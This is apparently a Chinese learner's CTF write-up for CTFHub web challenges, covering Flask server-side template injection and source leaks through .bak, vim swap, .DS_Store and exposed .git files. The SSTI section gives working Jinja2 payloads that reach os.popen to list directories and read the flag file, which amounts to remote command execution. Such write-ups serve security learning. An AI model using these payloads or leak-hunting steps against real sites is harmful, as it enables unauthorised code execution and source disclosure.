ctf
Simple_SSTI_2
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}? 查看存在的文件
結(jié)果返回文件列表
?flag={{config.__class__.__init__.__globals__[os].popen(ls../app/).read()}}
看看每個文件下面的東西
可以看到flag文件這樣
然后直接cat使用,的都flag
?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20 ../app/flag%27).read()}}
主要是這題不太了解flask,sstl這種東西
對于這個參數(shù)根本看不懂
__class__:用來查看變量所屬的類,根據(jù)前面的變量形式可以得到其所屬的類。
__init__ 初始化類,返回的類型是function
__globals__[] 使用方式是 函數(shù)名.__globals__獲取function所處空間下可使用的module、方法以及所有變量。
os.popen() 方法用于從一個命令打開一個管道。
open() 方法用于打開一個文件,并返回文件對象
bak文件

什么是bak文件
.bak是備份文件,為文件格式擴展名,這類文件一般在.bak前面加上應(yīng)該有原來的擴展名比如windows.dll.bak,或是windows_dll.bak,有的則是由原文件的后綴名和bak混合而成,如proteus的備份文件為.DBK。
http://challenge-118cb0a2671a7c97.sandbox.ctfhub.com:10800/index.php.bak
獲取到bak文件
打開bak文件

提交即可
vim緩存
當(dāng)開發(fā)人員在線上環(huán)境中使用 vim 編輯器,在使用過程中會留下 vim 編輯器緩存,當(dāng)vim異常退出時,緩存會一直留在服務(wù)器上,引起網(wǎng)站源碼泄露。
vim中的swp即swap文件,在編輯文件時產(chǎn)生,它是隱藏文件。這個文件是一個臨時交換文件,用來備份緩沖區(qū)中的內(nèi)容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,則此文件自動刪除。需要注意的是如果你并沒有對文件進(jìn)行修改,而只是讀取文件,是不會產(chǎn)生swp文件的。
題解提示是swp文件,那么我是不知道的,所以查了查
(第一次產(chǎn)生文件的后綴名為.swp;再次意外退出產(chǎn)生文件的后綴名為.swo;第三次產(chǎn)生的后綴名為.swn)
獲取.index.php.swp文件
然后vim -r 文件? 即可恢復(fù)
就可以看到flag了
.DS_Store
.DS_Store(英文全稱 Desktop Services Store)是一種由蘋果公司的Mac OS X操作系統(tǒng)所創(chuàng)造的隱藏文件,目的在于存貯目錄的自定義屬性,例如文件們的圖標(biāo)位置或者是背景色的選擇。相當(dāng)于 Windows 下的 desktop.ini。
提示:
.DS_Store 是 Mac OS 保存文件夾的自定義屬性的隱藏文件。通過.DS_Store可以知道這個目錄里面所有文件的清單。
在linux中
安裝curl
ubantu 使用apt-get 而不是yum
如果已經(jīng)安裝則跳過
然后對網(wǎng)站進(jìn)行處理
curl?http://challenge-6e8093b7bf869edf.sandbox.ctfhub.com:10800/.DS_Store

繼續(xù)curl

提交即可
關(guān)于curl?
直接在curl命令后加上網(wǎng)址,就可以看到網(wǎng)頁源碼
Log
當(dāng)前大量開發(fā)人員使用git進(jìn)行版本控制,對站點自動部署。如果配置不當(dāng),可能會將.git文件夾直接部署到線上環(huán)境。這就引起了git泄露漏洞。請嘗試使用BugScanTeam的GitHack完成本題
git clone?GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可還原歷史版本
下載到本地

但是需要python2的版本我還是換linux吧

可能會遇到的問題,failed to connect
關(guān)掉git代理
就可以了安裝
然后進(jìn)入目錄下進(jìn)行處理網(wǎng)站
報錯

但是我時間過去之后,重新打開題目,交了金幣之后發(fā)現(xiàn)又可以了,額

成了
然后到dist/chall............/目錄下

git log

看到確實又flag的出現(xiàn)
接著git show

即可看到git提交的信息
終于!
補充:
.git 是什么呢?
